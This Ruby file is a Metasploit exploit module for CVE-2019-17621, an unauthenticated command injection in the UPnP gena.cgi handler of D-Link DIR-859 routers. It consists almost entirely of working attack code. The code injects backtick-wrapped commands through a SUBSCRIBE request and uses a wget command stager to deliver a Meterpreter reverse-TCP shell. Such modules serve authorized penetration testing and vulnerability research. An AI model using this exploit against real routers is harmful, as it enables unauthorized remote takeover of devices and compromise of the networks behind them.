bcoles
76 lines
2.4 KiB
Ruby
76 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'D-Link DIR-859 Unauthenticated Remote Command Execution',
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'Description' => %q{
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D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP
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interface. The vulnerability exists in /gena.cgi (function genacgi_main() in
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/htdocs/cgibin), which is accessible without credentials.
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},
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'Author' => [
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'Miguel Mendez Z., @s1kr10s', # Vulnerability discovery and initial exploit
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'Pablo Pollanco P.' # Vulnerability discovery and metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2019-17621' ],
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[ 'URL', 'https://medium.com/@s1kr10s/d94b47a15104' ]
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],
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'DisclosureDate' => '2019-12-24',
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'Privileged' => true,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'DefaultOptions' => {
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'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
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'CMDSTAGER::FLAVOR' => 'wget',
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'RPORT' => '49152'
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},
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'Targets' => [
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[ 'Automatic', {} ],
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],
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'CmdStagerFlavor' => %w[echo wget],
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [ARTIFACTS_ON_DISK],
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'Reliability' => [REPEATABLE_SESSION]
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}
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)
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)
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end
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def execute_command(cmd, _opts)
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callback_uri = 'http://192.168.0.' + Rex::Text.rand_text_hex(2).to_i(16).to_s +
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':' + Rex::Text.rand_text_hex(4).to_i(16).to_s +
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'/' + Rex::Text.rand_text_alpha(3..12)
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send_request_raw({
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'uri' => "/gena.cgi?service=`#{cmd}`",
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'method' => 'SUBSCRIBE',
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'headers' =>
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{
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'Callback' => "<#{callback_uri}>",
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'NT' => 'upnp:event',
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'Timeout' => 'Second-1800'
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}
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})
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
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end
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def exploit
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execute_cmdstager(linemax: 500)
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end
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end
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